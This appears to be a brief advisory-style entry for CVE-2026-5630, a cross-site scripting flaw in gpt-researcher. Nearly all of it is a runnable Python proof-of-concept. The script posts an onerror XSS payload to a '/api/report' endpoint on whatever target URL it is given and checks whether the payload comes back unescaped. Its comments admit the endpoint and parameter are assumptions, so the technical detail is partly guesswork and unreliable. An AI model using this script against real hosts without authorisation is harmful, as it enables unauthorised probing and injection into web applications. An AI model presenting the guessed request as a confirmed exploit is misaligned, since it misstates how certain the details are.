CVE-2026-5630 gpt-researcher跨站脚本漏洞

# Proof of Concept for CVE-2026-5630 import requests def check_xss(target_url): # Malicious payload to inject xss_payload = '<img src=x onerror=alert("CVE-2026-5630")>' # Target endpoint based on the affected file path (backend/server/app.py) # Assuming the Report API accepts a parameter for the report content endpoint = f"{target_url}/api/report" headers = { "Content-Type": "application/json" } # Data payload structure simulating the vulnerable request data = { "query": xss_payload, # The vulnerable parameter might vary "type": "research" } try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) # Check if the payload is reflected unsanitized in the response if xss_payload in response.text: print(f"[+] Vulnerability confirmed at: {target_url}") print(f"[+] Payload reflected in response.") else: print("[-] Vulnerability not detected or payload sanitized.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <http://target-url>") else: check_xss(sys.argv[1])